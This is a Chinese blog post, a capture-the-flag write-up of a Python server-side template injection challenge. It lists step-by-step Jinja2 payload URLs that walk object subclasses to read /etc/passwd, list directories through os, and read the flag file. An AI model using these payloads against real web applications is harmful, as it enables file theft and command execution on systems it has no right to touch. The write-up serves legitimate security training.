攻防世界Web_python_template_injection

最新推荐文章于 2024-04-01 22:10:58 发布

听门外雪花飞

最新推荐文章于 2024-04-01 22:10:58 发布

阅读量895

点赞数

分类专栏： ctf刷题纪文章标签： python 开发语言

本文链接：https://blog.csdn.net/weixin_52268949/article/details/122828342

版权

48 篇文章 3 订阅

订阅专栏

本文详细介绍了如何利用Python SSTI（Server-Side Template Injection）模板注入漏洞，通过全局变量和类的探索，发现文件操作类并进行文件读取，最终实现系统命令执行。示例中展示了如何读取系统文件和执行系统命令，揭示了Web应用的安全风险。

摘要由CSDN通过智能技术生成

根据题目意思有点像python的ssti模板注入

我们来测试一下

在这里插入图片描述

果真存在那么我们就用ssti的基本方法了

我们先来看看全局变量

在这里插入图片描述

我们先来寻找一下基类

http://111.200.241.244:62377/{{''.__class__.__mro__}}

在这里发现了object类

在这里插入图片描述

寻找<type ‘object’>类的所有子类中可用的引用类

http://111.200.241.244:62377/{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述

这里可以看到有一个<type ‘file’>类，就是文件操作的类，我们尝试拿他的方法进行文件读取，file类的下标为40

http://111.200.241.244:62377/{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

在这里插入图片描述

这里发现这个类可以进行系统执行

在这里插入图片描述

http://111.200.241.244:62377/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}} #listdir('.')列出当前目录

在这里插入图片描述

我们通过文件读取把文件读出来

http://111.200.241.244:62377/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

关注

专栏目录